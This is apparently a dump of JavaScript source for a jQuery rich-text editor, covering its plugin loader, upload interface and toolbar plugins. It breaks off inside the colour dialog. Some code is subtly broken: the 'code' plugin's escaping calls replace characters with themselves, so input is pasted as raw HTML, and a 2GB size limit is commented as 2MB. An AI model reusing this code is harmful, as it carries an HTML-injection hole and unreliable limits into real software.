console.group("trace 信息:");
console.trace();
console.groupEnd();
}
//分组结束
if (group) console.groupEnd();
}
},
//end debug
defined: function (variable) {
return $.type(variable) == "undefined" ? false : true;
},
isTag: function (tn) {
if (!tn) return false;
return $(this)[0].tagName.toLowerCase() == tn ? true : false;
},
//end istag
include: function (file) {
if (!$.defined($.TE.loadUrl)) $.TE.loadUrl = {};
//定义皮肤路径和插件路径。
var basePath = $.TE.basePath(),
skinsDir = basePath + "skins/",
pluginDir = basePath + "plugins/";
var files = $.type(file) == "string" ? [file] : file;
for (var i = 0; i < files.length; i++) {
var loadurl = name = $.trim(files[i]);
//判断是否已经加载过
if ($.TE.loadUrl[loadurl]) {
continue;
}
//判断是否有@
var at = false;
if (name.indexOf("@") != -1) {
at = true;
name = name.substr(1);
}
var att = name.split('.');
var ext = att[att.length - 1].toLowerCase();
if (ext == "css") {
//加载css
var filepath = at ? name : skinsDir + name;
var newNode = document.createElement("link");
newNode.setAttribute('type', 'text/css');
newNode.setAttribute('rel', 'stylesheet');
newNode.setAttribute('href', filepath);
$.TE.loadUrl[loadurl] = 1;
} else {
var filepath = at ? name : pluginDir + name;
//$("<scri"+"pt>"+"</scr"+"ipt>").attr({src:filepath,type:'text/javascript'}).appendTo('head');
var newNode = document.createElement("script");
newNode.type = "text/javascript";
newNode.src = filepath;
newNode.id = loadurl; //实现批量加载
newNode.onload = function () {
$.TE.loadUrl[this.id] = 1;
};
newNode.onreadystatechange = function () {
//针对ie
if ((newNode.readyState == 'loaded' || newNode.readyState == 'complete')) {
$.TE.loadUrl[this.id] = 1;
}
};
}
$("head")[0].appendChild(newNode);
}
},
//end include
loadedFile: function (file) {
//判断是否加载
if (!$.defined($.TE.loadUrl)) return false;
var files = $.type(file) == "string" ? [file] : file,
result = true;
$.each(files, function (i, name) {
if (!$.TE.loadUrl[name]) result = false;
//alert(name+':'+result);
});
return result;
},
//end loaded
loadFile: function (file, fun) {
//加载文件,加载完毕后执行fun函数。
$.include(file);
var time = 0;
var check = function () {
//alert($.loadedFile(file));
if ($.loadedFile(file)) {
if ($.isFunction(fun)) fun();
} else {
//alert(time);
if (time >= $.TE.timeOut) {
// TODO 细化哪些文件加载失败。
$.debug(file, "文件加载失败");
} else {
//alert('time:'+time);
setTimeout(check, 50);
time += 50;
}
}
};
check();
}
//end loadFile
});
})(jQuery);
jQuery.TE.config( 'mini', {
'controls' : 'font,fontsize,fontcolor,backcolor,bold,italic,underline,unformat,leftalign,centeralign,rightalign,orderedlist,unorderedlist',
'width':498,
'height':400,
'resizeType':1
} );
|
JavaScript
|
$.TE.plugin("bold",{
title:"标题",
cmd:"bold",
click:function(){
this.editor.pasteHTML("sdfdf");
},
bold:function(){
alert('sdfsdf');
},
noRight:function(e){
if(e.type=="click"){
alert('noright');
}
},
init:function(){
},
event:"click mouseover mouseout",
mouseover:function(e){
this.$btn.css("color","red");
},
mouseout:function(e){
this.$btn.css("color","#000")
}
});
|
JavaScript
|
function te_upload_interface() {
//初始化参数
var _args = arguments,
_fn = _args.callee,
_data = '';
if( _args[0] == 'reg' ) {
//注册回调
_data = _args[1];
_fn.curr = _data['callid'];
_fn.data = _data;
jQuery('#temaxsize').val(_data['maxsize']);
} else if( _args[0] == 'get' ) {
//获取配置
return _fn.data || false;
} else if( _args[0] == 'call' ) {
//处理回调与实例不一致
if( _args[1] != _fn.curr ) {
alert( '上传出错,请不要同时打开多个上传弹窗' );
return false;
}
//上传成功
if( _args[2] == 'success' ) {
_fn.data['callback']( _args[3] );
}
//上传失败
else if( _args[2] == 'failure' ) {
alert( '[上传失败]\n错误信息:'+_args[3] );
}
//文件类型检测错误
else if( _args[2] == 'filetype' ) {
alert( '[上传失败]\n错误信息:您上传的文件类型有误' );
}
//处理状态改变
else if( _args[2] == 'change' ) {
// TODO 更细致的回调实现,此处返回true自动提交
return true;
}
}
}
//用户选择文件时
function checkTypes(id){
//校验文件类型
var filename = document.getElementById( 'teupload' ).value,
filetype = document.getElementById( 'tefiletype' ).value.split( ',' );
currtype = filename.split( '.' ).pop(),
checktype = false;
if( filetype[0] == '*' ) {
checktype = true;
} else {
for(var i=0; i<filetype.length; i++) {
if( currtype == filetype[i] ) {
checktype = true;
break;
}
}
}
if( !checktype ) {
alert( '[上传失败]\n错误信息:您上传的文件类型有误' );
return false;
} else {
//校验通过,提交
jQuery('#'+id).submit()
}
}
|
JavaScript
|
// 系统自带插件
( function ( $ ) {
//全屏
$.TE.plugin( "fullscreen", {
fullscreen:function(e){
var $btn = this.$btn,
opt = this.editor.opt;
if($btn.is("."+opt.cssname.fulled)){
//取消全屏
this.editor.$main.removeAttr("style");
this.editor.$bottom.find("div").show();
this.editor.resize(opt.width,opt.height);
$("html,body").css("overflow","auto");
$btn.removeClass(opt.cssname.fulled);
$(window).scrollTop(this.scrolltop);
}else{
//全屏
this.scrolltop=$(window).scrollTop();
this.editor.$main.attr("style","z-index:900000;position:absolute;left:0;top:0px");
$(window).scrollTop(0);
$("html,body").css("overflow","hidden");//隐藏滚蛋条
this.editor.$bottom.find("div").hide();//隐藏底部的调整大小控制块
this.editor.resize($(window).width(),$(window).height());
$btn.addClass(opt.cssname.fulled);
}
}
} );
//切换源码
$.TE.plugin( "source", {
source:function(e){
var $btn = this.$btn,
$area = this.editor.$area,
$frame = this.editor.$frame,
opt = this.editor.opt,
_self = this;
if($btn.is("."+opt.cssname.sourceMode)){
//切换到可视化
_self.editor.core.updateFrame();
$area.hide();
$frame.show();
$btn.removeClass(opt.cssname.sourceMode);
}else{
//切换到源码
_self.editor.core.updateTextArea();
$area.show();
$frame.hide();
$btn.addClass(opt.cssname.sourceMode);
}
setTimeout(function(){_self.editor.refreshBtn()},100);
}
} );
//剪切
$.TE.plugin( 'cut', {
click: function() {
if( $.browser.mozilla ) {
alert('您的浏览器安全设置不支持该操作,请使用Ctrl/Cmd+X快捷键完成操作。');
} else {
this.exec();
}
}
});
//复制
$.TE.plugin( 'copy', {
click: function() {
if( $.browser.mozilla ) {
alert('您的浏览器安全设置不支持该操作,请使用Ctrl/Cmd+C快捷键完成操作。');
} else {
this.exec();
}
}
});
//粘贴
$.TE.plugin( 'paste', {
click: function() {
if( $.browser.mozilla ) {
alert('您的浏览器安全设置不支持该操作,请使用Ctrl/Cmd+V快捷键完成操作。');
} else {
this.exec();
}
}
});
//创建链接
$.TE.plugin( "link", {
click:function(e){
var _self = this;
var $html = $(
'<div class="te_dialog_link Lovh">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">创建链接</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">链接地址:</span>'+
' <div class="Lfll">'+
' <input id="te_dialog_url" name="" type="text" class="Lfll input1" />'+
' </div>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
);
if( _self.isie6() ) {
window.selectionCache = [
/* 暂存选区对象 */
_self.editor.doc.selection.createRange(),
/* 选区html内容 */
_self.editor.doc.selection.createRange().htmlText,
/* 选区文本用来计算差值 */
_self.editor.doc.selection.createRange().text
];
}
this.createDialog({
body:$html,
ok:function(){
_self.value=$html.find("#te_dialog_url").val();
if( _self.isie6() ) {
var _sCache = window.selectionCache,
str1 = '<a href="'+_self.value+'">'+_sCache[1]+'</a>',
str2 = '<a href="'+_self.value+'">'+_sCache[2]+'</a>';
_sCache[0].pasteHTML( str1 );
_sCache[0].moveStart( 'character', -_self.strlen( str2 ) + ( str2.length - _sCache[2].length ) );
_sCache[0].moveEnd( 'character', -0 );
_sCache[0].select();
//置空暂存对象
window.selectionCache = _sCache = null;
} else {
_self.exec();
}
_self.hideDialog();
}
});
},
strlen : function ( str ) {
return window.ActiveXObject && str.indexOf("\n") != -1 ? str.replace(/\r?\n/g, "_").length : str.length;
},
isie6 : function () {
return $.browser.msie && $.browser.version == '6.0' ? true : false;
}
} );
$.TE.plugin( 'print', {
click: function(e) {
var _win = this.editor.core.$frame[0].contentWindow;
if($.browser.msie) {
this.exec();
} else if(_win.print) {
_win.print();
} else {
alert('您的系统不支持打印接口');
}
}
} );
$.TE.plugin( 'pagebreak', {
exec: function() {
var _self = this;
_self.editor.pasteHTML('<div style="page-break-after: always;zoom:1; height:0px; clear:both; display:block; overflow:hidden; border-top:2px dotted #CCC;"> </div><p> </p>');
}
} );
$.TE.plugin( 'pastetext', {
exec: function() {
var _self = this,
_html = '';
clipData = window.clipboardData ? window.clipboardData.getData('text') : false;
if( clipData ) {
_self.editor.pasteHTML( clipData.replace( /\r\n/g, '<br />' ) );
} else {
_html = $(
'<div class="te_dialog_pasteText">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">贴粘文本</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="pasteText">'+
' <span class="tips Lmt5">请使用键盘快捷键(Ctrl/Cmd+V)把内容粘贴到下面的方框里。</span>'+
' <textarea id="pasteText" name="" class="tarea1 Lmt5" rows="10" cols="30"></textarea>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
);
this.createDialog({
body : _html,
ok : function(){
_self.editor.pasteHTML(_html.find('#pasteText').val().replace(/\n/g, '<br />'));
_self.hideDialog();
}
});
}
}
} );
$.TE.plugin( 'table', {
exec : function (e) {
var _self = this,
_html = '';
_html = $(
'<div class="te_dialog_table">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">插入表格</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="insertTable">'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">行数:</span>'+
' <input type="text" id="te_tab_rows" class="input1 Lfll" value="3" />'+
' <span class="ltext Lfll">列数:</span>'+
' <input type="text" id="te_tab_cols" class="input1 Lfll" value="2" />'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">宽度:</span>'+
' <input type="text" id="te_tab_width" class="input1 Lfll" value="500" />'+
' <span class="ltext Lfll">高度:</span>'+
' <input type="text" id="te_tab_height" class="input1 Lfll" />'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">边框:</span>'+
' <input type="text" id="te_tab_border" class="input1 Lfll" value="1" />'+
' </div>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
);
this.createDialog({
body : _html,
ok : function () {
//获取参数
var rows = parseInt(_html.find('#te_tab_rows').val()),
cols = parseInt(_html.find('#te_tab_cols').val()),
width = parseInt(_html.find('#te_tab_width').val()),
height = parseInt(_html.find('#te_tab_height').val()),
border = parseInt(_html.find('#te_tab_border').val()),
tab_html = '<table width="'+width+'" border="'+border+'"';
if(height) tab_html += ' height="'+height+'"';
tab_html += '>';
for(var i=0; i<rows; i++) {
tab_html += '<tr>';
for(var j=0; j<cols; j++) {
tab_html += '<td> </td>';
}
tab_html += '</tr>';
}
tab_html += '</table>';
_self.editor.pasteHTML( tab_html );
_self.hideDialog();
}
});
}
} );
$.TE.plugin( 'blockquote', {
exec : function () {
var _self = this,
_doc = _self.editor.doc,
elem = '', //当前对象
isquote = false, //是否已被引用
node = '',
child = false; //找到的引用对象
//取得当前对象
node = elem = this.getElement();
//判断是否已被引用
while( node !== _doc.body ) {
if( node.nodeName.toLowerCase() == 'blockquote' ){
isquote = true;
break;
}
node = node.parentNode;
}
if( isquote ) {
//如果存在引用,则清理
if( node === _doc.body ) {
node.innerHTML = elem.parentNode.innerHTML;
} else {
while (child = node.firstChild) {
node.parentNode.insertBefore(child, node);
}
node.parentNode.removeChild(node);
}
} else {
//不存在引用,创建引用
if( $.browser.msie ) {
if( elem === _doc.body ) {
elem.innerHTML = '<blockquote>' + elem.innerHTML + '</blockquote>';
} else {
elem.outerHTML = '<blockquote>' + elem.outerHTML + '</blockquote>';
}
} else {
_doc.execCommand( 'formatblock', false, '<blockquote>' )
}
}
},
getElement : function () {
var ret = false;
if( $.browser.msie ) {
ret = this.editor.doc.selection.createRange().parentElement();
} else {
ret = this.editor.$frame.get( 0 ).contentWindow.getSelection().getRangeAt( 0 ).startContainer;
}
return ret;
}
} );
$.TE.plugin( 'image', {
upid : 'te_image_upload',
uptype : [ 'jpg', 'jpeg', 'gif', 'png', 'bmp' ],
//文件大小
maxsize : 1024*1024*1024*2, // 2MB
exec : function() {
var _self = this,
//上传地址
updir = _self.editor.opt.uploadURL,
//传给上传页的参数
parame = 'callback='+this.upid+this.editor.guid+'&rands='+(+new Date());
if(updir && updir!='about:blank'){
if( updir.indexOf('?') > -1 ) {
updir += '&' + parame;
} else {
updir += '?' + parame;
}
//弹出窗内容
var $html = $(
'<div class="te_dialog_image">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="#" class="cstyle">插入图片</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="insertimage Lmt20 Lpb10">'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">图片地址:</span>'+
' <div class="Lfll Lovh">'+
' <input type="text" id="te_image_url" class="imageurl input1 Lfll Lmr5" />'+
' </div>'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">上传图片:</span>'+
' <div class="Lfll Lovh">'+
' <form id="form_img" enctype="multipart/form-data" action="'+updir+'" method="POST" target="upifrem">'+
' <div class="filebox">'+
' <input id="teupload" name="teupload" size="1" onchange="checkTypes(\'form_img\');" class="upinput" type="file" hidefocus="true" />'+
' <input id="tefiletype" name="tefiletype" type="hidden" value="'+this.uptype+'" />'+
' <input id="temaxsize" name="temaxsize" type="hidden" value="'+this.maxsize+'" />'+
' <span class="upbtn">上传</span>'+
' </div>'+
' </form>'+
' <iframe name="upifrem" id="upifrem" width="70" height="22" class="Lfll" scrolling="no" frameborder="0"></iframe>'+
' </div>'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">图片宽度:</span>'+
' <div class="Lfll">'+
' <input id="te_image_width" name="" type="text" class="input2" />'+
' </div>'+
' <span class="ltext Lfll">图片高度:</span>'+
' <div class="Lfll">'+
' <input id="te_image_height" name="" type="text" class="input2" />'+
' </div>'+
' </div>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
),
_upcall = function(path) {
//获取上传的值
$html.find( '#te_image_url' ).val(path);
// 刷新iframe上传页
//var _url = $html.find( 'iframe' ).attr( 'src' );
//_url = _url.replace( /rands=[^&]+/, 'rands=' + (+ new Date()) );
$html.find( 'iframe' ).attr( 'src', 'about:blank' );
}
//注册通信
te_upload_interface( 'reg', {
'callid' : this.upid+this.editor.guid,
'filetype': this.uptype,
'maxsize' : this.maxsize,
'callback': _upcall
} );
//创建对话框
this.createDialog( {
body : $html,
ok : function() {
var _src = $html.find('#te_image_url').val(),
_width = parseInt($html.find('#te_image_width').val()),
_height = parseInt($html.find('#te_image_height').val());
_src = _APP+_src;
var _insertHTML = '<img src="'+(_src||'http://www.baidu.com/img/baidu_sylogo1.gif')+'" ';
if( _width ) _insertHTML += 'width="'+_width+'" ';
if( _height ) _insertHTML += 'height="'+_height+'" ';
_insertHTML += '/>';
_self.editor.pasteHTML( _insertHTML );
_self.hideDialog();
}
} );
}else{
alert('请配置上传处理路径!');
}
}
} );
$.TE.plugin( 'flash', {
upid : 'te_flash_upload',
uptype : [ 'swf' ],
//文件大小
maxsize : 1024*1024*1024*2, // 2MB
exec : function() {
var _self = this,
//上传地址
updir = _self.editor.opt.uploadURL,
//传给上传页的参数
parame = 'callback='+this.upid+this.editor.guid+'&rands='+(+new Date());
if(updir && updir!='about:blank'){
if( updir.indexOf('?') > -1 ) {
updir += '&' + parame;
} else {
updir += '?' + parame;
}
//弹出窗内容
var $html = $(
'<div class="te_dialog_flash">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">插入flash动画</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="insertflash Lmt20 Lpb10">'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">flash地址:</span>'+
' <div class="Lfll Lovh">'+
' <input id="te_flash_url" type="text" class="imageurl input1 Lfll Lmr5" />'+
' </div>'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">上传flash:</span>'+
' <div class="Lfll Lovh">'+
' <form id="form_swf" enctype="multipart/form-data" action="'+updir+'" method="POST" target="upifrem">'+
' <div class="filebox">'+
' <input id="teupload" name="teupload" size="1" onchange="checkTypes(\'form_swf\');" class="upinput" type="file" hidefocus="true" />'+
' <input id="tefiletype" name="tefiletype" type="hidden" value="'+this.uptype+'" />'+
' <input id="temaxsize" name="temaxsize" type="hidden" value="'+this.maxsize+'" />'+
' <span class="upbtn">上传</span>'+
' </div>'+
' </form>'+
' <iframe name="upifrem" id="upifrem" width="70" height="22" class="Lfll" scrolling="no" frameborder="0"></iframe>'+
' </div>'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll">宽度:</span>'+
' <div class="Lfll">'+
' <input id="te_flash_width" name="" type="text" class="input2" value="200" />'+
' </div>'+
' <span class="ltext Lfll">高度:</span>'+
' <div class="Lfll">'+
' <input id="te_flash_height" name="" type="text" class="input2" value="60" />'+
' </div>'+
' </div>'+
' <div class="item Lovh">'+
' <span class="ltext Lfll"> </span>'+
' <div class="Lfll">'+
' <input id="te_flash_wmode" name="" type="checkbox" class="input3" />'+
' <label for="te_flash_wmode" class="labeltext">开启背景透明</label>'+
' </div>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
),
_upcall = function(path) {
//获取上传的值
$html.find( '#te_flash_url' ).val(path);
// 刷新iframe上传页
//var _url = $html.find( 'iframe' ).attr( 'src' );
//_url = _url.replace( /rands=[^&]+/, 'rands=' + (+ new Date()) );
$html.find( 'iframe' ).attr( 'src', 'about:blank' );
}
//注册通信
te_upload_interface( 'reg', {
'callid' : this.upid+this.editor.guid,
'filetype': this.uptype,
'maxsize' : this.maxsize,
'callback': _upcall
} );
//创建对话框
this.createDialog( {
body : $html,
ok : function() {
var _src = $html.find('#te_flash_url').val(),
_width = parseInt($html.find('#te_flash_width').val()),
_height = parseInt($html.find('#te_flash_height').val());
_wmode = !!$html.find('#te_flash_wmode').attr('checked');
if( _src == '' ) {
alert('请输入flash地址,或者从本地选择文件上传');
return true;
}
if( isNaN(_width) || isNaN(_height) ) {
alert('请输入宽高');
return true;
}
_src = _APP+_src;
var _data = "{'src':'"+_src+"','width':'"+_width+"','height':'"+_height+"','wmode':"+(_wmode)+"}";
var _insertHTML = '<img src="'+$.TE.basePath()+'skins/'+_self.editor.opt.skins+'/img/spacer.gif" class="_flash_position" style="';
if( _width ) _insertHTML += 'width:'+_width+'px;';
if( _height ) _insertHTML += 'height:'+_height+'px;';
_insertHTML += 'border:1px solid #DDD; display:inline-block;text-align:center;line-height:'+_height+'px;" ';
_insertHTML += '_data="'+_data+'"';
_insertHTML += ' alt="flash占位符" />';
_self.editor.pasteHTML( _insertHTML );
_self.hideDialog();
}
} )
}else{
alert('请配置上传处理路径!');
}
}
} );
$.TE.plugin( 'face', {
exec: function() {
var _self = this,
//表情路径
_fp = _self.editor.opt.face_path,
//弹出窗同容
$html = $(
'<div class="te_dialog_face Lovh">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">插入表情</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="insertFace" style="background-image:url('+$.TE.basePath()+'skins/'+_fp[1]+'/'+_fp[0]+'.gif'+');">'+
'<span face_num="0"> </span>'+
'<span face_num="1"> </span>'+
'<span face_num="2"> </span>'+
'<span face_num="3"> </span>'+
'<span face_num="4"> </span>'+
'<span face_num="5"> </span>'+
'<span face_num="6"> </span>'+
'<span face_num="7"> </span>'+
'<span face_num="8"> </span>'+
'<span face_num="9"> </span>'+
'<span face_num="10"> </span>'+
'<span face_num="11"> </span>'+
'<span face_num="12"> </span>'+
'<span face_num="13"> </span>'+
'<span face_num="14"> </span>'+
'<span face_num="15"> </span>'+
'<span face_num="16"> </span>'+
'<span face_num="17"> </span>'+
'<span face_num="18"> </span>'+
'<span face_num="19"> </span>'+
'<span face_num="20"> </span>'+
'<span face_num="21"> </span>'+
'<span face_num="22"> </span>'+
'<span face_num="23"> </span>'+
'<span face_num="24"> </span>'+
'<span face_num="25"> </span>'+
'<span face_num="26"> </span>'+
'<span face_num="27"> </span>'+
'<span face_num="28"> </span>'+
'<span face_num="29"> </span>'+
'<span face_num="30"> </span>'+
'<span face_num="31"> </span>'+
'<span face_num="32"> </span>'+
'<span face_num="33"> </span>'+
'<span face_num="34"> </span>'+
'<span face_num="35"> </span>'+
'<span face_num="36"> </span>'+
'<span face_num="37"> </span>'+
'<span face_num="38"> </span>'+
'<span face_num="39"> </span>'+
'<span face_num="40"> </span>'+
'<span face_num="41"> </span>'+
'<span face_num="42"> </span>'+
'<span face_num="43"> </span>'+
'<span face_num="44"> </span>'+
'<span face_num="45"> </span>'+
'<span face_num="46"> </span>'+
'<span face_num="47"> </span>'+
'<span face_num="48"> </span>'+
'<span face_num="49"> </span>'+
'<span face_num="50"> </span>'+
'<span face_num="51"> </span>'+
'<span face_num="52"> </span>'+
'<span face_num="53"> </span>'+
'<span face_num="54"> </span>'+
'<span face_num="55"> </span>'+
'<span face_num="56"> </span>'+
'<span face_num="57"> </span>'+
'<span face_num="58"> </span>'+
'<span face_num="59"> </span>'+
'<span face_num="60"> </span>'+
'<span face_num="61"> </span>'+
'<span face_num="62"> </span>'+
'<span face_num="63"> </span>'+
'<span face_num="64"> </span>'+
'<span face_num="65"> </span>'+
'<span face_num="66"> </span>'+
'<span face_num="67"> </span>'+
'<span face_num="68"> </span>'+
'<span face_num="69"> </span>'+
'<span face_num="70"> </span>'+
'<span face_num="71"> </span>'+
'<span face_num="72"> </span>'+
'<span face_num="73"> </span>'+
'<span face_num="74"> </span>'+
'<span face_num="75"> </span>'+
'<span face_num="76"> </span>'+
'<span face_num="77"> </span>'+
'<span face_num="78"> </span>'+
'<span face_num="79"> </span>'+
'<span face_num="80"> </span>'+
'<span face_num="81"> </span>'+
'<span face_num="82"> </span>'+
'<span face_num="83"> </span>'+
'<span face_num="84"> </span>'+
'<span face_num="85"> </span>'+
'<span face_num="86"> </span>'+
'<span face_num="87"> </span>'+
'<span face_num="88"> </span>'+
'<span face_num="89"> </span>'+
'<span face_num="90"> </span>'+
'<span face_num="91"> </span>'+
'<span face_num="92"> </span>'+
'<span face_num="93"> </span>'+
'<span face_num="94"> </span>'+
'<span face_num="95"> </span>'+
'<span face_num="96"> </span>'+
'<span face_num="97"> </span>'+
'<span face_num="98"> </span>'+
'<span face_num="99"> </span>'+
'<span face_num="100"> </span>'+
'<span face_num="101"> </span>'+
'<span face_num="102"> </span>'+
'<span face_num="103"> </span>'+
'<span face_num="104"> </span>'+
'</div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
);
$html.find('.insertFace span').click(function( e ) {
var _url = $.TE.basePath()+'skins/'+_fp[1]+'/'+_fp[0]+'_'+$( this ).attr( 'face_num' )+'.gif',
_insertHtml = '<img src="'+_url+'" />';
_self.editor.pasteHTML( _insertHtml );
_self.hideDialog();
});
this.createDialog( {
body : $html
} );
}
} );
$.TE.plugin( 'code', {
exec: function() {
var _self = this,
$html = $(
'<div class="te_dialog_code Lovh">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">插入代码</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="Lmt10 Lml10">'+
' <span>选择语言:</span>'+
' <select id="langType" name="">'+
' <option value="None">其它类型</option>'+
' <option value="PHP">PHP</option>'+
' <option value="HTML">HTML</option>'+
' <option value="JS">JS</option>'+
' <option value="CSS">CSS</option>'+
' <option value="SQL">SQL</option>'+
' <option value="C#">C#</option>'+
' <option value="JAVA">JAVA</option>'+
' <option value="VBS">VBS</option>'+
' <option value="VB">VB</option>'+
' <option value="XML">XML</option>'+
' </select>'+
' </div>'+
' <textarea id="insertCode" name="" rows="10" class="tarea1 Lmt10" cols="30"></textarea>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="确定" class="te_ok" />'+
' <input type="button" value="取消" class="te_close" />'+
' </div>'+
'</div>'
);
this.createDialog({
body : $html,
ok : function(){
var _code = $html.find('#insertCode').val(),
_type = $html.find('#langType').val(),
_html = '';
_code = _code.replace( /</g, '<' );
_code = _code.replace( />/g, '>' );
_code = _code.split('\n');
_html += '<pre style="overflow-x:auto; padding:10px; color:blue; border:1px dotted #2BC1FF; background-color:#EEFAFF;" _syntax="'+_type+'">'
_html += '语言类型:'+_type;
_html += '<ol style="list-stype-type:decimal;">';
for(var i=0; i<_code.length; i++) {
_html += '<li>'+_code[i].replace( /^(\t+)/g, function( $1 ) {return $1.replace(/\t/g, ' ');} );+'</li>';
}
_html += '</ol></pre><p> </p>';
_self.editor.pasteHTML( _html );
_self.hideDialog();
}
});
}
} );
$.TE.plugin( 'style', {
click: function() {
var _self = this,
$html = $(
'<div class="te_dialog_style Lovh">'+
' <div class="centbox">'+
' <h1 title="设置当前内容为一级标题"><a href="###">一级标题</a></h1>'+
' <h2 title="设置当前内容为二级标题"><a href="###">二级标题</a></h2>'+
' <h3 title="设置当前内容为三级标题"><a href="###">三级标题</a></h3>'+
' <h4 title="设置当前内容为四级标题"><a href="###">四级标题</a></h4>'+
' <h5 title="设置当前内容为五级标题"><a href="###">五级标题</a></h5>'+
' <h6 title="设置当前内容为六级标题"><a href="###">六级标题</a></h6>'+
' </div>'+
'</div>'
),
_call = function(e) {
var _value = this.nodeName;
_self.value= _value;
_self.exec();
//_self.hideDialog();
};
$html.find( '>.centbox>*' ).click( _call );
this.createDialog( {
body: $html
} );
},
exec: function() {
var _self = this,
_html = '<'+_self.value+'>'+_self.editor.selectedHTML()+'</'+_self.value+'>';
_self.editor.pasteHTML( _html );
}
} );
$.TE.plugin( 'font', {
click: function() {
var _self = this;
$html = $(
'<div class="te_dialog_font Lovh">'+
' <div class="centbox">'+
' <div><a href="###" style="font-family:\'宋体\',\'SimSun\'">宋体</a></div>'+
' <div><a href="###" style="font-family:\'楷体\',\'楷体_GB2312\',\'SimKai\'">楷体</a></div>'+
' <div><a href="###" style="font-family:\'隶书\',\'SimLi\'">隶书</a></div>'+
' <div><a href="###" style="font-family:\'黑体\',\'SimHei\'">黑体</a></div>'+
' <div><a href="###" style="font-family:\'微软雅黑\'">微软雅黑</a></div>'+
' <span>------</span>'+
' <div><a href="###" style="font-family:arial,helvetica,sans-serif;">Arial</a></div>'+
' <div><a href="###" style="font-family:comic sans ms,cursive;">Comic Sans Ms</a></div>'+
' <div><a href="###" style="font-family:courier new,courier,monospace;">Courier New</a></div>'+
' <div><a href="###" style="font-family:georgia,serif;">Georgia</a></div>'+
' <div><a href="###" style="font-family:lucida sans unicode,lucida grande,sans-serif;">Lucida Sans Unicode</a></div>'+
' <div><a href="###" style="font-family:tahoma,geneva,sans-serif;">Tahoma</a></div>'+
' <div><a href="###" style="font-family:times new roman,times,serif;">Times New Roman</a></div>'+
' <div><a href="###" style="font-family:trebuchet ms,helvetica,sans-serif;">Trebuchet Ms</a></div>'+
' <div><a href="###" style="font-family:verdana,geneva,sans-serif;">Verdana</a></div>'+
' </div>'+
'</div>'
),
_call = function(e) {
var _value = this.style.fontFamily;
_self.value= _value;
_self.exec();
};
$html.find( '>.centbox a' ).click( _call );
this.createDialog( {
body: $html
} );
}
} );
$.TE.plugin( 'fontsize', {
click: function() {
var _self = this,
$html = $(
'<div class="te_dialog_fontsize Lovh">'+
' <div class="centbox">'+
' <div><a href="#" style="font-size:10px">10</a></div>'+
' <div><a href="#" style="font-size:12px">12</a></div>'+
' <div><a href="#" style="font-size:14px">14</a></div>'+
' <div><a href="#" style="font-size:16px">16</a></div>'+
' <div><a href="#" style="font-size:18px">18</a></div>'+
' <div><a href="#" style="font-size:20px">20</a></div>'+
' <div><a href="#" style="font-size:22px">22</a></div>'+
' <div><a href="#" style="font-size:24px">24</a></div>'+
' <div><a href="#" style="font-size:36px">36</a></div>'+
' <div><a href="#" style="font-size:48px">48</a></div>'+
' <div><a href="#" style="font-size:60px">60</a></div>'+
' <div><a href="#" style="font-size:72px">72</a></div>'+
' </div>'+
'</div>'
),
_call = function(e) {
var _value = this.style.fontSize;
_self.value= _value;
_self.exec();
};
$html.find( '>.centbox a' ).click( _call );
this.createDialog( {
body: $html
} );
},
exec: function() {
var _self = this,
_html = '<span style="font-size:'+_self.value+'">'+_self.editor.selectedText()+'</span>';
_self.editor.pasteHTML( _html );
}
} );
$.TE.plugin( 'fontcolor', {
click: function() {
var _self = this,
$html = $(
'<div class="te_dialog_fontcolor Lovh">'+
' <div class="colorsel">'+
' <!--第一列-->'+
' <a href="###" style="background-color:#FF0000"> </a>'+
' <a href="###" style="background-color:#FFA900"> </a>'+
' <a href="###" style="background-color:#FFFF00"> </a>'+
' <a href="###" style="background-color:#99E600"> </a>'+
' <a href="###" style="background-color:#99E600"> </a>'+
' <a href="###" style="background-color:#00FFFF"> </a>'+
